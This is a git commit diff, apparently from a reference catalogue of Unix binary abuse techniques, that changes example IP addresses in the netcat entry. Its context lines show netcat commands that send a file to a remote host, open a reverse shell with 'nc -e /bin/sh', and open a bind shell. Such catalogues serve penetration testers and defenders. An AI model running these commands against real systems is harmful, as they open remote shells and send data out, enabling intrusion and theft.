Use the same IP for examples

This commit is contained in:
Andrea Cardaci 2018-05-23 00:29:51 +02:00
parent dc9f4ff42c
commit 4303bf854b

View File

@ -9,7 +9,7 @@ functions:
LFILE=file_to_send
nc $RHOST $RPORT < "$LFILE"
download:
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.2 8000 < "file_to_send"` to send the file from the other end.
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 8000 < "file_to_send"` to send the file from the other end.
code: |-
LPORT=8000
LFILE=where_to_save
@ -21,7 +21,7 @@ functions:
RPORT=8000
nc -e /bin/sh $RHOST $RPORT
bind-shell:
- description: Run `nc 10.0.0.2 8000` to connect to the shell on the other end.
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
code: |
LPORT=8000
nc -l -p $LPORT -e /bin/sh